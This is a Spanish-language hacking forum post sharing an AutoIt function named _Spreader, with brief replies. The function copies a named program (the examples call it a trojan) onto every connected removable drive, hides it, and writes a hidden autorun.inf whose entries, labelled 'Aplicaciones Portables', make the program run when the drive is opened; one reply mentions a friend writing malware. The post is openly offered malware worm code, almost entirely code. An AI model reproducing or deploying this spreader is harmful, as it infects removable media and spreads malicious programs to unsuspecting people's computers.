Hola buenas, les traigo aqui una funcion que acabo de relaizar para hacer spreading en los usb que esten conectados.
Actualmente estoy trabajando en la siguiente version asique esperen un poc y tendran el code mejorado :P
; #FUNCTION# ===========================================================================================================
; Name...........: __Spreader
; Description ...: Copys a program in all USB and creates a autorun.
; Syntax.........: _Spreader ($program,nombre)
; Parameters ....: $program - The route of the program, must be complete, Ej: C:\Users\User\AppData\Roaming\TrojanFolder\Trojan.exe
; $nombre - The name of the program, this will be used in the AutoRun. Must be like this, Ej: "TrojanName.exe"
; Author ........: 0b3y
; ===============================================================================================================================
Func _Spreader($program,$nombre)
$todos_drive=DriveGetDrive("REMOVABLE")
For $i=1 To $todos_drive[0]
If $todos_drive[$i]="a:" Then
ContinueLoop
EndIf
If Not FileExists($todos_drive[$i]&"\"&$program) Then FileCopy($program,$todos_drive[$i])
FileSetAttrib($todos_drive[$i]&"\"&$program,"+H")
If Not FileExists($todos_drive[$i]&"\"&"autorun.inf") Then
$ifile=FileOpen($todos_drive[$i]&"\autorun.inf")
FileWrite($ifile,"[Autorun]"&@CRLF&"Open="&$nombre&@CRLF&"Icon="&$nombre&@CRLF&"Label=Aplicaciones Portables"&@CRLF&"UserAutoPlay=1"&@CRLF&"action=Abrir USB"&@CRLF&"action=@"&$nombre&@CRLF&"shell\open=Abrir"&@CRLF&"shell\open\Command="&$nombre&@CRLF&"shell\explore=explorar"&@CRLF&"shell\explore\Command="&$nombre)
FileClose($ifile)
FileSetAttrib($todos_drive[$i]&"\autorun.inf","+H")
EndIf
Next
EndFunc
Muy bueno bro! Se lo voy a recomendar a un amigo que estaba programando un malware en este lenguaje!
Saludos!
ANTRAX
HOLA!!!
Esta bueno, despues te paso uno mas :D.-
GRACIAS POR LEER!!!